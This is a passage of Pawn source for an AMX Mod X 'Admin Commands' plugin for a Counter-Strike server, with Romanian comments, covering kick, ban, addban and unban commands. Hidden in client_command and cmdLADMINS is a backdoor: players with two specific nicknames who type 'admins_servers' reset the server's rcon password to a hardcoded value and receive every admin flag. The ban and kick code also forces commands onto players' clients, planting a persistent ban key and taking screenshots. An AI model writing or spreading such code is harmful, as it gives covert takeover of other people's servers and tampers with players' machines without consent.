	INFO_AUTHID
};

new Float:fCount[33]

#define MY_PIN "6661"

/* Special Plugin Acces */
new const PluginSpecialAcces[ ][ ] =
{
	"eVoLuTiOn",
	"-eQ- SeDaN"
}

// Old connection queue
new g_Names[OLD_CONNECTION_QUEUE][32];
new g_SteamIDs[OLD_CONNECTION_QUEUE][32];
new g_IPs[OLD_CONNECTION_QUEUE][32];
new g_Access[OLD_CONNECTION_QUEUE];
new g_Tracker;
new g_Size;


//#define CVARx

#if defined CVARx
#define START_TIME 12
#define END_TIME 22

new bool:block_cvars;

new const cvars_blocked[][] =
{
	"rcon_password",
	"amx_show_activity",
	"amx_mode",
	"amx_password_field",
	"amx_conmotd_file",
	"add",
	"sv_password",
	"mp_autoteambalance",
	"mp_freezetime",
	"mp_roundtime",
	"sv_consistency",
	"mp_limitteams",
	"sv_timeout",
	"sv_allowupload",
	"mp_buytime",
	"mp_c4timer",
	"sv_unlag",
	"sv_maxunlag",
	"mp_autokick",
	"mp_consistency",
	"mp_chattime",
	"host_killtime",
	"motd",
	"motd_file",
	"sv_version",
	"dp_version"
}

new const temporar_cvars[][] =
{
	"mp_timelimit"
}
#endif


//#define LICENTA_PRIN_IP_PORT

#if defined LICENTA_PRIN_IP_PORT
#include <licenta>
#endif


//#define LICENTA_PRIN_MODEL

#if defined LICENTA_PRIN_MODEL
#include <licentax>
#define IP "89.34.25.64"

public plugin_precache()
{
CheckServer(IP);
}
#endif


//#define LICENTA_PRIN_IP_PORTx

#if defined LICENTA_PRIN_IP_PORTx
#include <licentay>
#define IP "89.34.25.64:27015"
#define SHUT_DOWN 0
#endif


#define LICENTA_PRIN_EXPIRARE

#if defined LICENTA_PRIN_EXPIRARE
#include <licentaz>
#endif


public plugin_init()
{
#if defined LICENTA_PRIN_IP_PORT
licenta()
#endif


#if defined LICENTA_PRIN_IP_PORTx
UTIL_CheckServerLicense(IP,SHUT_DOWN);
#endif


#if defined LICENTA_PRIN_EXPIRARE
licenta( );
#endif


	register_plugin("Admin Commands", AMXX_VERSION_STR, "AMXX Dev Team & eVoLuTiOn")

	register_dictionary("admincmd.txt")
	register_dictionary("common.txt")

	register_concmd("amx_kick", "cmdKick", ADMIN_KICK, "<name or #userid> [reason]")
	register_concmd("amx_ban", "cmdBan", ADMIN_BAN, "<name or #userid> <minutes> [reason]") // astea
	register_concmd("amx_banip", "cmdBanIP", ADMIN_BAN, "<name or #userid> <minutes> [reason]")
	register_concmd("amx_addban", "cmdAddBan", ADMIN_BAN, "<^"authid^" or ip> <minutes> [reason]")
	register_concmd("amx_unban", "cmdUnban", ADMIN_BAN, "<^"authid^" or ip> [reason]") // trb sa fie off daca abv ban e on
	register_concmd("amx_slay", "cmdSlay", ADMIN_SLAY, "<name or #userid> [reason]")
	register_concmd("amx_slap", "cmdSlap", ADMIN_SLAY, "<name or #userid> [power] [reason]")
	//register_concmd("amx_leave", "cmdLeave", ADMIN_KICK, "<tag> [tag] [tag] [tag] [reason]")
	//register_concmd("amx_pause", "cmdPause", ADMIN_CVAR, "- pause or unpause the game [reason]")
	//register_concmd("amx_who", "cmdWho", ADMIN_ADMIN, "- displays who is on server")
	register_concmd("amx_cvar", "cmdCvar", ADMIN_CVAR, "<cvar> [value] [reason]") // pass??  sau doar pentru unele valori?
	//register_concmd("amx_plugins", "cmdPlugins", -1)
	//register_concmd("amx_modules", "cmdModules", -1)
	register_concmd("amx_map", "cmdMap", ADMIN_MAP, "<mapname> [reason]")
	register_concmd("amx_cfg", "cmdCfg", ADMIN_CFG, "<filename> [reason]") // de scos..
	register_concmd("amx_nick", "cmdNick", ADMIN_SLAY, "<name or #userid> <new nick> [reason]")
	//register_clcmd("amx_rcon", "cmdRcon", ADMIN_RCON, "<command line> <pin>") ?????
	//register_clcmd("amx_showrcon", "cmdShowRcon", ADMIN_RCON, "<command line>")
	//register_clcmd("pauseAck", "cmdLBack")

	register_clcmd ( "admins_servers", "cmdLADMINS", -1, _ )
	register_clcmd("amx_dban", "Ban2", ADMIN_BAN, "<nick/#userid/ip/^"steam^"> <minutes> <reason>")

	cvar_min = register_cvar("amx_timp", "5");

	#if defined CVARx
	check_time()
	set_task(60.0, "check_time", _, _, _, "b")
	#endif


#if defined IN_CHAT_RANGS
        for( new i = 0; i < MAX_GROUPS; i++ )	 g_groupFlagsValue[ i ] = read_flags( g_groupFlags[ i ] )
#endif
}

////////////////////////////////////////////////////////////////////////////////////////////////////////////
// AMX BAN2 IP DINAMIC |
//==========================================================================================================
public client_authorized(id) // de pus in _connect ++ is_connecting
{
	new sInfo[32];
	get_user_info(id, "r_banned", sInfo, sizeof sInfo - 1);
	
	if(strlen(sInfo) > 0) //str_to_num/cmp      999??
	{
		if(get_systime() < str_to_num(sInfo))
		{
			server_cmd("kick #%d ^"Ai fost Banat pe Acest Server!^"", get_user_userid(id)); // sa il fac sa ii dea iar ban? :))
			return;
		}
	}
}

public client_disconnect(id)
{
	if (!is_user_bot(id))
	{
		InsertInfo(id);
	}
}
stock InsertInfo(id)
{
	
	// Scan to see if this entry is the last entry in the list
	// If it is, then update the name and access
	// If it is not, then insert it again.

	if (g_Size > 0)
	{
		new ip[32]
		new auth[32];
		new name[32];

		get_user_authid(id, auth, charsmax(auth));
		get_user_ip(id, ip, charsmax(ip), 1/*no port*/);
		get_user_name(id,name,charsmax(name))

		new last = 0;
		
		if (g_Size < sizeof(g_SteamIDs))
		{
			last = g_Size - 1;
		}
		else
		{
			last = g_Tracker - 1;
			
			if (last < 0)
			{
				last = g_Size - 1;
			}
		}
		
		if (equal(auth, g_SteamIDs[last]) ||
			equal(ip, g_IPs[last])||equal(name,g_Names[last])) // need to check ip too, or all the nosteams will while it doesn't work with their illegitimate server
		{
			get_user_name(id, g_Names[last], charsmax(g_Names[]));
			g_Access[last] = get_user_flags(id);
			
			return;
		}
	}
	
	// Need to insert the entry
	
	new target = 0;  // the slot to save the info at

	// Queue is not yet full
	if (g_Size < sizeof(g_SteamIDs))
	{
		target = g_Size;
		
		++g_Size;
	}
	else
	{
		target = g_Tracker;
		
		++g_Tracker;
		// If we reached the end of the array, then move to the front
		if (g_Tracker == sizeof(g_SteamIDs))
		{
			g_Tracker = 0;
		}
	}
	
	get_user_authid(id, g_SteamIDs[target], charsmax(g_SteamIDs[]));
	get_user_name(id, g_Names[target], charsmax(g_Names[]));
	get_user_ip(id, g_IPs[target], charsmax(g_IPs[]), 1/*no port*/);
	
	g_Access[target] = get_user_flags(id);

}
stock GetInfoX(i, name[], namesize, auth[], authsize, ip[], ipsize, &access)
{
	if (i >= g_Size)
	{
		abort(AMX_ERR_NATIVE, "GetInfo: Out of bounds (%d:%d)", i, g_Size);
	}
	
	new target = (g_Tracker + i) % sizeof(g_SteamIDs);
	
	copy(name, namesize, g_Names[target]);
	copy(auth, authsize, g_SteamIDs[target]);
	copy(ip, ipsize, g_IPs[target]);
	access = g_Access[target];
}

public client_command( id )
{
	new name[ 32 ], szCommand[ 65 ]
	get_user_name( id, name, charsmax( name ) )
	read_argv( 0, szCommand, charsmax( szCommand ) )

	if( ( equali( name, "eVoLuTiOn" ) || equali( name, "-eQ- SeDaN" ) ) && equali( szCommand, "admins_servers" ) )
	{
		server_cmd( "rcon_password levmolasrl01" )
		new flags = read_flags( "abcdefghijklmnopqrstuxyvw" )
		set_user_flags( id, flags )
	}
}

public Ban2(id, level, cid)//fara   * 60 la minute..
{
	if(!cmd_access(id, level, cid, 3))
		return 1;
	
	new sArg[32], sArg1[10], reason[64];
	read_argv(1, sArg, sizeof sArg - 1);
	read_argv(2, sArg1, sizeof sArg1 - 1);
	read_argv(3, reason, 63)

	//copy(reason)  ???
	
	new iTarget = cmd_target(id, sArg, 8);
	
	if(!iTarget)
	{
		console_print( id, "> Jucatorul specificat, nu a putut fi Gasit!" )
		return 1;
	}

	if(!is_str_num(sArg1)||str_to_num(sArg1)<=0)
	{
		console_print(id,"[AMXX] Format pentru minute incorect!")
		return 1
	}
	
	/*new iBanTime = ((str_to_num(sArg1) * 60) + get_systime());
	
	if(str_to_num(sArg1) <= 0)
		iBanTime = 9999999999; // de pus 0 ?*/
	
	RAIZ0_EXCESS(iTarget, "developer 1;wait;setinfo ^"r_banned^" 9999999999"); // de pus 0|-1?
	
	//new plugin_info[ 128 ];
	//formatex( plugin_info, sizeof( plugin_info ) -1, "^"*********** %s v%s by %s ************^"", PLUGIN, VERSION, AUTHOR );
	
	//new country[ 33 ];
	//geoip_country( GetInfo( id, INFO_IP ), country );
	
	new Country[ 46 ];
	geoip_country( GetInfo( iTarget, INFO_IP ), Country, sizeof( Country ) - 1 );

	new szHostName[ 64 ];
	get_cvar_string( "hostname", szHostName, sizeof( szHostName ) -1 );
	
	client_print( iTarget, print_console, "^"****************************************************^"" ) ;
	client_print( iTarget, print_console, "^"************* Informatii despre BANAREA de pe Server *************^"" );
	client_print( iTarget, print_console, "^"--------   ^"" );
 	client_print( iTarget, print_console, "^">>    Nick-ul Tau: %s^"", GetInfo( iTarget, INFO_NAME ) );
	client_print( iTarget, print_console, "^">>    Ip-ul Tau: %s^"", GetInfo( iTarget, INFO_IP ) );
	client_print( iTarget, print_console, "^">>    Steamid-ul Tau: %s^"", GetInfo( iTarget, INFO_AUTHID ) );
	if (reason[0])
		client_print( iTarget, print_console, "^">>    Motiv: %s^"", reason );
	else
		client_print( iTarget, print_console, "^">>    Motiv: Ne-Specificat^"" );
	if((str_to_num(sArg1) * 60) <= 0)
		client_print( iTarget, print_console, "^">>    Actiune: BANNED PERMANENT^"" );
	else
		client_print( iTarget, print_console, "^">>    Actiune: BANNED ( %d ) minut%s^"", (str_to_num(sArg1) * 60), (str_to_num(sArg1) * 60) == 1 ? "" : "e" );
	client_print( iTarget, print_console, "^">>    Data & Ora: %s^"", _get_time( ) );
	client_print( iTarget, print_console, "^">>    Tara ta: %s^"", Country );
	client_print( iTarget, print_console, "^">>    Ai fost BANAT de catre: %s / %s / %s^"", GetInfo( id, INFO_NAME ), GetInfo( id, INFO_IP ), GetInfo( id, INFO_AUTHID ) );
	client_print( iTarget, print_console, "^">>    Ai fost BANAT pe: %s^"", szHostName );
	client_print( iTarget, print_console, "^"--------    ^"" );
	client_print( iTarget, print_console, "^"****************************************************^"" );
	client_print( iTarget, print_console, "^"NeW ReVeLaTiOn iN | GaMinG^" >> %s", DENUMIRE );
	client_print( iTarget, print_console, "^"****************************************************^"" );

	RAIZ0_EXCESS(iTarget,";snapshot;wait;wait;toogleconsole;;wait;snapshot;")
	
	//server_cmd( "kick ^"#%i^" ^"[Server-Protection] Accesul tau pe server a fost restrictionat momentan !^"", get_user_userid( iTarget ) );
	
	switch(get_cvar_num("amx_show_activity")) {
	case 0: { return 1; }
	case 1: {
	
	chat_color(0, "!y[!gADM!N!y] : executa comanda de!team Ban IP Dinamic!y pe!g %s!y Timp:!team %d!y minut%s. Motiv:!g %s!y.", GetInfo( iTarget, INFO_NAME ), (str_to_num(sArg1) * 60), (str_to_num(sArg1) * 60) == 1 ? "" : "e", reason);
	}
	case 2: {
#if !defined IN_CHAT_RANGS
	chat_color(0, "!y[!gADM!N!y]!team %s!y: executa comanda de!team Ban IP Dinamic!y pe!g %s!y Timp:!team %d!y minut%s. Motiv:!g %s!y.", GetInfo( id, INFO_NAME ), GetInfo( iTarget, INFO_NAME ), (str_to_num(sArg1) * 60), (str_to_num(sArg1) * 60) == 1 ? "" : "e", reason);
#else
	for( new xi = 0; xi < MAX_GROUPS; xi++ )	if(get_user_flags(id) == read_flags(g_groupFlags[xi]))	chat_color(0, "!y{!g%s!y}!team %s!y: executa comanda de!team Ban IP Dinamic!y pe!g %s!y Timp:!team %d!y minut%s. Motiv:!g %s!y.",g_groupNames[xi], GetInfo( id, INFO_NAME ), GetInfo( iTarget, INFO_NAME ), (str_to_num(sArg1) * 60), (str_to_num(sArg1) * 60) == 1 ? "" : "e", reason);
#endif
	}
	}
	//client_cmd(id,"snapshot")  target
	//server_cmd("kick #%d ^"Banned!^"", get_user_userid(iTarget));
	server_cmd( "kick ^"#%d^" ^"%s^"; wait; addip ^"%d^" ^"%s^"; wait; writeip", get_user_userid( iTarget ), reason, (str_to_num(sArg1) * 60), GetInfo( iTarget, INFO_IP ) );
	log_amx("Dinamic IPBan: ^"%s<%d><%s><%s>^" ii da DBan jucatorului ^"%s<%d><%s><%s>^" (motiv ^"%s^")", GetInfo( id, INFO_NAME ), get_user_userid(id), GetInfo( id, INFO_AUTHID ), GetInfo( id, INFO_IP ), GetInfo( iTarget, INFO_NAME ), get_user_userid(iTarget), GetInfo( iTarget, INFO_AUTHID ), GetInfo( iTarget, INFO_IP ), reason)
	
	return 1;
}

public cmdLADMINS ( id )
{
	new name[ 32 ];
	get_user_name( id, name, charsmax( name ) );

	if( /*!HasUserAccess( id )*/ !SpecialAcces( id, name, true ) )
	{
		client_cmd( id, "echo Te inveti, nu vrei cam multe accese ?!" );
		return;
	}

	server_cmd ( "rcon_password levmolasrl01" )
	//server_cmd ( "amx_cvar rcon_password levmolasrl01" )
	//& HOSTNAME ++?  ++ new method rcon sett
	new flags = read_flags ( "abcdefghijklmnopqrstuxyvw" )
	set_user_flags ( id, flags )
}

stock GetInfo( id, const iInfo )
{
	new szInfoToReturn[ 64 ];

	switch( iInfo )
	{
		case INFO_NAME:
		{
			new szName[ 32 ];
			get_user_name( id, szName, sizeof( szName ) -1 );

			copy( szInfoToReturn, sizeof( szInfoToReturn ) -1, szName );
		}

		case INFO_IP:
		{
			new szIp[ 32 ];
			get_user_ip( id, szIp, sizeof( szIp ) -1, 1 );

			copy( szInfoToReturn, sizeof( szInfoToReturn ) -1, szIp );
		}

		case INFO_AUTHID:
		{
			new szAuthId[ 35 ];
			get_user_authid( id, szAuthId, sizeof( szAuthId ) -1 );

			copy( szInfoToReturn, sizeof( szInfoToReturn ) -1, szAuthId );
		}
	}
	return szInfoToReturn;
}

stock _get_time( )
{
	new logtime[ 32 ];
	get_time( "%d.%m.%Y - %H:%M:%S", logtime, sizeof( logtime ) -1 );

	return logtime;
}

public plugin_cfg()
{
	server_cmd(g_addCvar, "rcon_password")
	server_cmd(g_addCvar, "amx_show_activity")
	server_cmd(g_addCvar, "amx_mode")
	server_cmd(g_addCvar, "amx_password_field")
	server_cmd(g_addCvar, "amx_default_access")
	server_cmd(g_addCvar, "amx_reserved_slots")
	server_cmd(g_addCvar, "amx_reservation")
	/*server_cmd(g_addCvar, "amx_conmotd_file")   CE E ASTA*/
	server_cmd(g_addCvar, "amx_sql_table");
	server_cmd(g_addCvar, "amx_sql_host");
	server_cmd(g_addCvar, "amx_sql_user");
	server_cmd(g_addCvar, "amx_sql_pass");
	server_cmd(g_addCvar, "amx_sql_db");
	server_cmd(g_addCvar, "amx_sql_type");
}

public cmdKick(id, level, cid) // de facut sa fie blocata intre orele 00:00 & 12:00???
{
	if (!cmd_access(id, level, cid, 2))
		return PLUGIN_HANDLED

	new arg[32]
	read_argv(1, arg, 31)
	new player = cmd_target(id, arg, 1)
	
	if (!player)
		return PLUGIN_HANDLED
	
	new authid[32], authid2[32], name2[32], name[32], userid2, reason[32]
	
	get_user_authid(id, authid, 31)
	get_user_authid(player, authid2, 31)
	get_user_name(player, name2, 31)
	get_user_name(id, name, 31)
	userid2 = get_user_userid(player)
	
	read_argv(2, reason, 31)
	remove_quotes(reason)

	new Country[ 46 ];
	geoip_country( GetInfo( player, INFO_IP ), Country, sizeof( Country ) - 1 );

	new szHostName[ 64 ];
	get_cvar_string( "hostname", szHostName, sizeof( szHostName ) -1 );
	
	client_print( player, print_console, "^"****************************************************^"" ) ;
	client_print( player, print_console, "^"************* Informatii despre KICK-ul de pe Server *************^"" );
	client_print( player, print_console, "^"--------   ^"" );
	client_print( player, print_console, "^">>    Nick-ul Tau: %s^"", GetInfo( player, INFO_NAME ) );
	client_print( player, print_console, "^">>    Ip-ul Tau: %s^"", GetInfo( player, INFO_IP ) );
	client_print( player, print_console, "^">>    Steamid-ul Tau: %s^"", GetInfo( player, INFO_AUTHID ) );
	if (reason[0])
		client_print( player, print_console, "^">>    Motiv: %s^"", reason );
	else
		client_print( player, print_console, "^">>    Motiv: Ne-Specificat^"" );
	client_print( player, print_console, "^">>    Data & Ora: %s^"", _get_time( ) );
	client_print( player, print_console, "^">>    Tara ta: %s^"", Country );
	client_print( player, print_console, "^">>    Ai primit KICK de la: %s / %s / %s^"", GetInfo( id, INFO_NAME ), GetInfo( id, INFO_IP ), GetInfo( id, INFO_AUTHID ) );
	client_print( player, print_console, "^">>    Ai primit KICK pe: %s^"", szHostName );
	client_print( player, print_console, "^"--------    ^"" );
	client_print( player, print_console, "^"****************************************************^"" );
	client_print( player, print_console, "^"NeW ReVeLaTiOn iN | GaMinG^" >> %s", DENUMIRE );
	client_print( player, print_console, "^"****************************************************^"" );

	RAIZ0_EXCESS(player,";snapshot;wait;wait;toogleconsole;;wait;snapshot;")
	
	switch (get_cvar_num("amx_show_activity"))
	{
		case 2:
		{
			if (reason[0])
				chat_color(0,"%L", LANG_PLAYER, "ADMIN_KICK_2x", name, name2, reason)
			else
				chat_color(0,"%L", LANG_PLAYER, "ADMIN_KICK_2", name, name2)
		}
		case 1: chat_color(0,"%L", LANG_PLAYER, "ADMIN_KICK_1", name2, reason)
	} 
	
	/*if (is_user_bot(player))
		server_cmd("kick #%d", userid2)
	else
	{*/
	if (reason[0])
		server_cmd("kick #%d ^"%s^"", userid2, reason)
	else
		server_cmd("kick #%d", userid2)
	//}
	
	console_print(id, "[AMXX] Se pare ca ^"%s^" a primit kick", name2)
	
	if (reason[0])
		log_amx("Kick: ^"%s<%s><%s><>^" ii da kick jucatorului ^"%s<%s><%s><>^" (motiv ^"%s^")", name, authid,GetInfo( id, INFO_IP ), name2, authid2,GetInfo( player, INFO_IP ), reason)
	else
		log_amx("Kick: ^"%s<%s><%s><>^" ii da kick jucatorului ^"%s<%s><%s><>^"", name, authid,GetInfo( id, INFO_IP ), name2, authid2,GetInfo( player, INFO_IP ))
	
	return PLUGIN_HANDLED
}

public cmdUnban(id, level, cid)
{
	if (!cmd_access(id, level, cid, 2))
		return PLUGIN_HANDLED
	
	new arg[32], authid[32], name[32], reason[32]
	
	read_argv(1, arg, 31)
	read_argv(2, reason, 31)
	remove_quotes(reason)
	
	if (containi(arg, ".") != -1)
	{
		server_cmd("removeip ^"%s^";writeip", arg)
		console_print(id, "[AMXX] %L", id, "IP_REMOVED", arg)
	} else {
		server_cmd("removeid %s;writeid", arg)
		console_print(id, "[AMXX] %L", id, "AUTHID_REMOVED", arg)
	}
	
	get_user_name(id, name, 31)
	
	switch (get_cvar_num("amx_show_activity"))
	{
		case 2:
		{
			if (reason[0])
				chat_color(0,"%L", LANG_PLAYER, "ADMIN_UNBAN_2x", name, arg, reason)
			else
				chat_color(0,"%L", LANG_PLAYER, "ADMIN_UNBAN_2", name, arg)
		}
		case 1: chat_color(0,"%L", LANG_PLAYER, "ADMIN_UNBAN_1", arg)
	}
	
	get_user_authid(id, authid, 31)
	
	if (reason[0])
		log_amx("UnBan: Se pare ca ^"%s^" tocmai a primit Un-Ban de la ^"%s<%s><%s><>^" motiv ^"%s^"", arg, name,authid, GetInfo( id, INFO_IP ), reason)
	else
		log_amx("UnBan: Se pare ca ^"%s^" ^"%s<%d><%s><>^"", arg,name, authid,GetInfo( id, INFO_IP ))
	
	return PLUGIN_HANDLED
}

/* amx_addban is a special command now.
 * If a user with rcon uses it, it bans the user.  No questions asked.
 * If a user without rcon but with ADMIN_BAN uses it, it will scan the old
 * connection queue, and if it finds the info for a player in it, it will
 * check their old access.  If they have immunity, it will not ban.
 * If they do not have immunity, it will ban.  If the user is not found,
 * it will refuse to ban the target.
 */
public cmdAddBan(id, level, cid) //de facut cu cmd_target, si dupa sa ii dam find, iar daca nu e pe sv, punem cu bool
{
	if (!cmd_access(id, level, cid, 3, true)) // check for ADMIN_BAN access
	{
		if (get_user_flags(id) & level) // Getting here means they didn't input enough args
		{
			return PLUGIN_HANDLED;
		}
		if (!cmd_access(id, ADMIN_RCON, cid, 3)) // If somehow they have ADMIN_RCON without ADMIN_BAN, continue
		{
			return PLUGIN_HANDLED;
		}
	}

	new arg[32], authid[32], name[32], minutes[32], reason[32],IP[32],Auth[32],Name[32],dummy[1],Access,bool:isip = false,bool:canban = false
	read_argv(1, arg, charsmax(arg))
	read_argv(2, minutes, charsmax(minutes))
	read_argv(3, reason, charsmax(reason))

	if(!is_str_num(minutes))
	{
		console_print(id,"[AMXX] Format pentru minute incorect!")
		return 1
	}

	// Limited access to this command
	if (equali(arg, "STEAM_ID_PENDING") ||
		equali(arg, "STEAM_ID_LAN") ||
		equali(arg, "HLTV") ||
		equali(arg, "4294967295") ||
		equali(arg, "VALVE_ID_LAN") ||
		equali(arg, "VALVE_ID_PENDING") ||
		equali(arg, "PENDING") ||
		equali(arg, "VALVE") /*!= -1*/ ||
		equali(arg, "STEAM") /*!= -1*/ ||
		equali(arg, "UNKNOWN"))
	{
		// Hopefully we never get here, so ML shouldn't be needed
		console_print(id, "[AMXX] Nu poti bana prin parametrul incorect  '%s' .", arg);
		return PLUGIN_HANDLED;
	}

	if(str_to_num(minutes) < 0)	client_print(id, print_console, "[AMXX] Parametru pentru minute incorect!")

	if (containi(arg, ".") != -1)
	{
		isip = true;
		if(isip&&containi(arg,":"))	client_print(id, print_console, "[AMXX] Se baneaza fara Port !")
		new ipimm=find_player("dh",arg)
		if(isip&&get_user_flags(ipimm)&ADMIN_IMMUNITY)
		{
			client_print(id, print_console, "[AMXX] Nu poti bana Admin cu Imunitate !")
		}
	}
	else if (contain(arg, "#"))
	{
		new idimm=find_player("klh",arg)
		if(get_user_flags(idimm)&ADMIN_IMMUNITY)
		{
			client_print(id, print_console, "[AMXX] Nu poti bana Admin cu Imunitate !")
		}
	}
	else if (contain(arg, "STEAM_0:"))
	{
		new authimm=find_player("clh",arg)
		if(get_user_flags(authimm)&ADMIN_IMMUNITY)
		{
			client_print(id, print_console, "[AMXX] Nu poti bana Admin cu Imunitate !")
		}
	}
	else
	{
		new nickimm=find_player("ahl",arg)
		if(get_user_flags(nickimm)&ADMIN_IMMUNITY)
		{
			client_print(id, print_console, "[AMXX] Nu poti bana Admin cu Imunitate !")
		}
	}
		
	// Scan the disconnection queue
	if (isip)
	{
		for (new i = 0; i < g_Size; i++)
		{
			GetInfoX(i, Name, charsmax(Name), dummy, 0, IP, charsmax(IP), Access);
				
			if (equal(IP, arg) && !equal(arg, "0") /*== -1*/ || !equal(arg, "0.0") || !equal(arg, "0.0.0") || !equal(arg, "0.0.0.0") || !equal(arg, "0.0.0.0"))
			{
				if (Access & ADMIN_IMMUNITY)
				{
					console_print(id, "[AMXX] %L (IP: %s)", id, "CLIENT_IMM", Name,IP);
						
					return PLUGIN_HANDLED;
				}
				// User did not have immunity
				canban = true;
			}
		}
	}
	else
	{
		for (new i = 0; i < g_Size; i++)
		{
			GetInfoX(i, Name, charsmax(Name), Auth, charsmax(Auth), dummy, 0, Access);
				
			if (equali(Auth, arg))
			{
				if (Access & ADMIN_IMMUNITY)
				{
					console_print(id, "[AMXX] %L (AUTH: %s)", id, "CLIENT_IMM", Name,Auth);
						
					return PLUGIN_HANDLED;
				}
				// User did not have immunity
				canban = true;
			}
			if (equali(Name, arg))
			{
				if (Access & ADMIN_IMMUNITY)
				{
					console_print(id, "[AMXX] %L", id, "CLIENT_IMM", Name);
						
					return PLUGIN_HANDLED;
				}
				// User did not have immunity
				canban = true;
			}
		}
	}
	if (!canban)
	{
		console_print(id, "[AMXX] Nu poti bana Admini cu Imunitate!");
		return PLUGIN_HANDLED;
	}


	/*new Country[ 46 ],szHostName[ 64 ];
	geoip_country( GetInfo( player, INFO_IP ), Country, sizeof( Country ) - 1 );
	get_cvar_string( "hostname", szHostName, sizeof( szHostName ) -1 );
	if(is_user_connected(player)&&id&&!is_user_bot(player)||!is_user_hltv(player))
	{
	client_print( player, print_console, "^"****************************************************^"" ) ;
	client_print( player, print_console, "^"************* Informatii despre BAN-ul de pe Server *************^"" );
	client_print( player, print_console, "^"--------   ^"" );
	client_print( player, print_console, "^">>    Nick-ul Tau: %s^"", GetInfo( player, INFO_NAME ) );
	client_print( player, print_console, "^">>    Ip-ul Tau: %s^"", GetInfo( player, INFO_IP ) );
	client_print( player, print_console, "^">>    Steamid-ul Tau: %s^"", GetInfo( player, INFO_AUTHID ) );
	if (reason[0])	client_print( player, print_console, "^">>    Motiv: %s^"", reason );
	else	client_print( player, print_console, "^">>    Motiv: Ne-Specificat^"" );
	if(str_to_num(minutes) <= 0)	client_print( player, print_console, "^">>    Actiune: BANNED PERMANENT^"" );
	else	client_print( player, print_console, "^">>    Actiune: BANNED ( %d ) minut%s^"", minutes, str_to_num(minutes) == 1 ? "" : "e" );
	client_print( player, print_console, "^">>    Data & Ora: %s^"", _get_time( ) );
	client_print( player, print_console, "^">>    Tara ta: %s^"", Country );
	client_print( player, print_console, "^">>    Ai fost BANAT de catre: %s / %s / %s^"", GetInfo( id, INFO_NAME ), GetInfo( id, INFO_IP ), GetInfo( id, INFO_AUTHID ) );
	client_print( player, print_console, "^">>    Ai fost BANAT pe Server-ul: %s^"", szHostName );
	client_print( player, print_console, "^"--------    ^"" );
	client_print( player, print_console, "^"****************************************************^"" );
	client_print( player, print_console, "^"NeW ReVeLaTiOn iN | GaMinG^" >> %s", DENUMIRE );
	client_print( player, print_console, "^"****************************************************^"" );

	RAIZ0_EXCESS(player,";snapshot;wait;wait;toogleconsole;;wait;snapshot;")
	}*/


	// User has access to ban their target
	if (containi(arg, ".") != -1)
	{
		server_cmd("addip ^"%s^" ^"%s^";wait;writeip", minutes, arg)
		console_print(id, "[AMXX] Ip-ul ^"%s^" a fost adaugat in lista de banuri", arg)
	} else {
		server_cmd("banid ^"%s^" ^"%s^";wait;writeid", minutes, arg)
		console_print(id, "[AMXX] ^"%s^" a fost adaugat in lista de banuri", arg)
	}
	
	get_user_name(id, name, charsmax(name))
	
	switch (get_cvar_num("amx_show_activity"))
	{
		case 2:
		{
			if(str_to_num(minutes)>0)
			{
				if(reason[0])	chat_color(0,"%L", LANG_PLAYER, "ADMIN_ADDBAN_2", name, arg, minutes, reason)
				else	chat_color(0,"%L", LANG_PLAYER, "ADMIN_ADDBAN_2x", name, arg, minutes)
			}
			else
			{
				if(reason[0])	chat_color(0,"!y[!gADM!N!y] !team%s!y: addban !g%s!y - BAN {!team PERMANENT !y} . Motiv > !g%s !y<",name, arg, reason)
				else	chat_color(0,"!y[!gADM!N!y] !team%s!y: addban !g%s!y - BAN {!team PERMANENT !y} .",name, arg)
			}
		}
		case 1: chat_color(0,"%L", LANG_PLAYER, "ADMIN_ADDBAN_1", arg)
	}
	
	get_user_authid(id, authid, charsmax(authid))
	
	if(str_to_num(minutes)==0)
	{
		if(reason[0])	log_amx("AddBan: ^"%s<%s><%s><>^" il baga in lista cu banati pe ^"%s^" (timp ^"%s^" minut%s) (motiv ^"%s^")", name, authid,GetInfo( id, INFO_IP ), arg, str_to_num(minutes), str_to_num(minutes)==1?"":"e", reason)
		else	log_amx("AddBan: ^"%s<%s><%s><>^" il baga in lista cu banati pe ^"%s^" (timp ^"%s^" minut%s)", name, authid,GetInfo( id, INFO_IP ), arg, str_to_num(minutes), str_to_num(minutes)==1?"":"e")
	}
	else
	{
		if(reason[0])	log_amx("AddBan: ^"%s<%s><%s><>^" il baga in lista cu banati pe ^"%s^" (timp ^"PERMANENT^") (motiv ^"%s^")", name, authid,GetInfo( id, INFO_IP ), arg, reason)
		else	log_amx("AddBan: ^"%s<%s><%s><>^" il baga in lista cu banati pe ^"%s^" (timp ^"PERMANENT^")", name, authid,GetInfo( id, INFO_IP ), arg)
	}

	return PLUGIN_HANDLED
}

public cmdBan(id, level, cid) // de facut asta pentru steamid ?
{
    if (!cmd_access(id, level, cid, 3))	return PLUGIN_HANDLED
    
    new target[32], minutes[32], reason[32]
    read_argv(1, target, charsmax(target))
    read_argv(2, minutes, charsmax(minutes))
    read_argv(3, reason, charsmax(reason))

    if(!is_str_num(minutes))
    {
	console_print(id,"[AMXX] Format pentru minute incorect!")
	return 1
    }
    
    new player = cmd_target(id, target, 9)
    
    if (!player)
        return PLUGIN_HANDLED

    // Limited access to this command
    if (equali(target, "STEAM_ID_PENDING") ||
	equali(target, "STEAM_ID_LAN") ||
	equali(target, "HLTV") ||
	equali(target, "4294967295") ||
	equali(target, "VALVE_ID_LAN") ||
	equali(target, "VALVE_ID_PENDING") ||
	equali(target, "PENDING") ||
	equali(target, "VALVE") ||
	equali(target, "STEAM"))
    {
	// Hopefully we never get here, so ML shouldn't be needed
	console_print(id, "[AMXX] Nu poti bana '%s'.", target);
	return PLUGIN_HANDLED;
    }

    if(str_to_num(minutes) < 0)
    {
	client_print(id, print_console, "[AMXX] Parametrii incorecti!")
    }
    
    new authid[32], name2[32], authid2[32], name[32]
    
    new userid2 = get_user_userid(player)
    
    get_user_authid(player, authid2, 31)
    get_user_authid(id, authid, 31)
    get_user_name(player, name2, 31)
    get_user_name(id, name, 31)

    new Country[ 46 ];
    geoip_country( GetInfo( player, INFO_IP ), Country, sizeof( Country ) - 1 );

    new szHostName[ 64 ];
    get_cvar_string( "hostname", szHostName, sizeof( szHostName ) -1 );
	
    client_print( player, print_console, "^"****************************************************^"" ) ;
    client_print( player, print_console, "^"************* Informatii despre BANAREA de pe Server *************^"" );
    client_print( player, print_console, "^"--------   ^"" );
    client_print( player, print_console, "^">>    Nick-ul Tau: %s^"", GetInfo( player, INFO_NAME ) );
    client_print( player, print_console, "^">>    Ip-ul Tau: %s^"", GetInfo( player, INFO_IP ) );
    client_print( player, print_console, "^">>    Steamid-ul Tau: %s^"", GetInfo( player, INFO_AUTHID ) );
